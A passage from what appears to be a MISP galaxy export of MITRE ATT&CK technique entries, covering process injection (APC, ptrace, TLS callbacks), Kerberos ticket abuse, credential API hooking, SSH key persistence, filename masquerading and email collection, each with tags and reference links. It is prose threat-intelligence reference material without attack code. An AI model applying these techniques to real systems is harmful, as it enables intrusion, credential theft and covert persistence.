Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Thread Execution Hijacking - T1055.003"*

Table 3907. Table References

Links
https://attack.mitre.org/techniques/T1055/003
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Pass the Ticket - T1550.003

Adversaries may "pass the ticket" using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)

A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)

A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)

Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)

The tag is: *misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003"*

Table 3908. Table References

Links

http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos
http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf
https://adsecurity.org/?p=556
https://attack.mitre.org/techniques/T1550/003
https://capec.mitre.org/data/definitions/645.html
https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/

Web Portal Capture - T1056.003

Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.

This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)

The tag is: *misp-galaxy:mitre-attack-pattern="Web Portal Capture - T1056.003"*

Table 3909. Table References

Links
https://attack.mitre.org/techniques/T1056/003
https://capec.mitre.org/data/definitions/569.html
https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/

Container Orchestration Job - T1053.007

Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.

In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)

The tag is: *misp-galaxy:mitre-attack-pattern="Container Orchestration Job - T1053.007"*

Table 3910. Table References

Links
https://attack.mitre.org/techniques/T1053/007
https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/
https://kubernetes.io/docs/concepts/workloads/controllers/job/
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/

Windows Command Shell - T1059.003

Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)

Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003"*

Table 3911. Table References

Links
https://attack.mitre.org/techniques/T1059/003
https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh

Network Trust Dependencies - T1590.003

Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: *misp-galaxy:mitre-attack-pattern="Network Trust Dependencies - T1590.003"*

Table 3912. Table References

Links
https://attack.mitre.org/techniques/T1590/003
https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019

Space after Filename - T1036.006

Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.

For example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).

Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.

The tag is: *misp-galaxy:mitre-attack-pattern="Space after Filename - T1036.006"*

Table 3913. Table References

Links
https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/
https://attack.mitre.org/techniques/T1036/006
https://capec.mitre.org/data/definitions/649.html

Double File Extension - T1036.007

Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: <code>File.txt.exe</code> may render in some views as just

<code>File.txt</code>). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system's policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension)

Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user's system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named <code>Evil.txt.exe</code> may display as <code>Evil.txt</code> to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)

Common file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.

The tag is: *misp-galaxy:mitre-attack-pattern="Double File Extension - T1036.007"*

Table 3914. Table References

Links
https://attack.mitre.org/techniques/T1036/007
https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/
https://www.pcmag.com/encyclopedia/term/double-extension
https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/

Install Digital Certificate - T1608.003

Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)

Adversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers.

Adversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/

techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).

The tag is: *misp-galaxy:mitre-attack-pattern="Install Digital Certificate - T1608.003"*

Table 3915. Table References

Links
https://attack.mitre.org/techniques/T1608/003
https://www.digicert.com/kb/ssl-certificate-installation.htm
https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html

Additional Cloud Roles - T1098.003

An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, they may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)(Citation: Microsoft O365 Admin Roles)

This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify an existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts. For example, in Azure AD environments, an adversary with the Application Administrator role can add [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to their application's service principal. In doing so the adversary would be able to gain the service principal's roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation)

The tag is: *misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003"*

Table 3916. Table References

Links
https://attack.mitre.org/techniques/T1098/003
https://cloud.google.com/iam/docs/policies
https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html
https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide

https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/
https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d

Asynchronous Procedure Call - T1055.004

Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process.

APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL).

A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Asynchronous Procedure Call - T1055.004"*

Table 3917. Table References

Links
https://attack.mitre.org/techniques/T1055/004
https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows
https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx
https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx
https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Web Session Cookie - T1550.004

Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)

Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.

There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Web Session Cookie - T1550.004"*

Table 3918. Table References

Links
https://attack.mitre.org/techniques/T1550/004
https://capec.mitre.org/data/definitions/60.html
https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
https://wunderwuzzi23.github.io/blog/passthecookie.html

Credential API Hooking - T1056.004

Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:

- **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)
- **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
- **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004"*

Table 3919. Table References

Links
http://www.gmer.net/
https://attack.mitre.org/techniques/T1056/004
https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/
https://github.com/jay/gethooks
https://github.com/prekageo/winhook
https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx
https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx
https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis
https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html
https://www.adlice.com/userland-rootkits-part-1-iat-hooks/
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.exploit-db.com/docs/17802.pdf
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918
https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/
https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/

SSH Authorized Keys - T1098.004

Adversaries may modify the SSH <code>authorized_keys</code> file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The <code>authorized_keys</code> file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <code><user-home>/.ssh/authorized_keys</code>.(Citation: SSH Authorized Keys) Users may edit the system's SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value "yes" to ensure public key and RSA authentication are enabled. The SSH config file is usually located under <code>/etc/ssh/sshd_config</code>.

Adversaries may modify SSH <code>authorized_keys</code> files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI's "add-metadata" command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update

Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm)

Where authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user.

The tag is: *misp-galaxy:mitre-attack-pattern="SSH Authorized Keys - T1098.004"*

Table 3920. Table References

Links
https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/
https://attack.mitre.org/techniques/T1098/004
https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata
https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update
https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability
https://www.ssh.com/ssh/authorized_keys/
https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities

Terminal Services DLL - T1505.005

Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)

[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a "generic" process (ex: <code>svchost.exe</code>) load the service's DLL file, the location of which is stored in a Registry entry named <code>ServiceDll</code>.(Citation: Microsoft System Services Fundamentals) The <code>termsrv.dll</code> file, typically stored in `%SystemRoot%\System32\`, is the default <code>ServiceDll</code> value for Terminal Services in `HKLM\System\CurrentControlSet\services\TermService\Parameters\`.

Adversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal <code>termsrv.dll</code> functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the <code>termsrv.dll</code> file or modifying the <code>ServiceDll</code> value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github)

On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.

The tag is: *misp-galaxy:mitre-attack-pattern="Terminal Services DLL - T1505.005"*

Table 3921. Table References

Links
http://woshub.com/how-to-allow-multiple-rdp-sessions-in-windows-10/
https://attack.mitre.org/techniques/T1505/005
https://docs.microsoft.com/windows/win32/termserv/about-terminal-services
https://github.com/stascorp/rdpwrap
https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx
https://twitter.com/james_inthe_box/status/1150495335812177920

Thread Local Storage - T1055.005

Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process.

TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process' memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Thread Local Storage - T1055.005"*

Table 3922. Table References

Links
https://attack.mitre.org/techniques/T1055/005
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html

Ptrace System Calls - T1055.008

Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.

Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>) then invoking that memory with <code>PTRACE_SETREGS</code> to set the register containing the next instruction to execute. Ptrace system call injection can also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes' memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)

Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Ptrace System Calls - T1055.008"*

Table 3923. Table References

Links
http://man7.org/linux/man-pages/man2/ptrace.2.html
http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
https://attack.mitre.org/techniques/T1055/008
https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf
https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be
https://www.gnu.org/software/acct/

Network Security Appliances - T1590.006

Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: *misp-galaxy:mitre-attack-pattern="Network Security Appliances - T1590.006"*

Table 3924. Table References

Links
https://attack.mitre.org/techniques/T1590/006
https://nmap.org/book/firewalls.html

Network Device CLI - T1059.008

Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands.

Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).

Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)

The tag is: *misp-galaxy:mitre-attack-pattern="Network Device CLI - T1059.008"*

Table 3925. Table References

Links
https://attack.mitre.org/techniques/T1059/008
https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
https://tools.cisco.com/security/center/resources/integrity_assurance.html#23

Local Email Collection - T1114.001

Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files.

Outlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\Users\<username>\Documents\Outlook Files` or `C:\Users\<username>\AppData\Local\Microsoft\Outlook`.(Citation: Microsoft Outlook Files)

The tag is: *misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001"*

Table 3926. Table References

Links
https://attack.mitre.org/techniques/T1114/001
https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/
https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790

Remote Email Collection - T1114.002

Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user’s credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002"*

Table 3927. Table References

Links
https://attack.mitre.org/techniques/T1114/002

Compiled HTML File - T1218.001

Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)

A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001"*

Table 3928. Table References

Links
https://attack.mitre.org/techniques/T1218/001
https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk
https://msdn.microsoft.com/windows/desktop/ms524405
https://msdn.microsoft.com/windows/desktop/ms644670
https://msitpros.com/?p=3909
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625

Email Forwarding Rule - T1114.003

Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim's organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)

Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)

The tag is: *misp-galaxy:mitre-attack-pattern="Email Forwarding Rule - T1114.003"*

Table 3929. Table References

Links
https://attack.mitre.org/techniques/T1114/003

https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/
https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/
https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac
https://www.us-cert.gov/ncas/alerts/TA18-086A

Office Template Macros - T1137.001

Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)

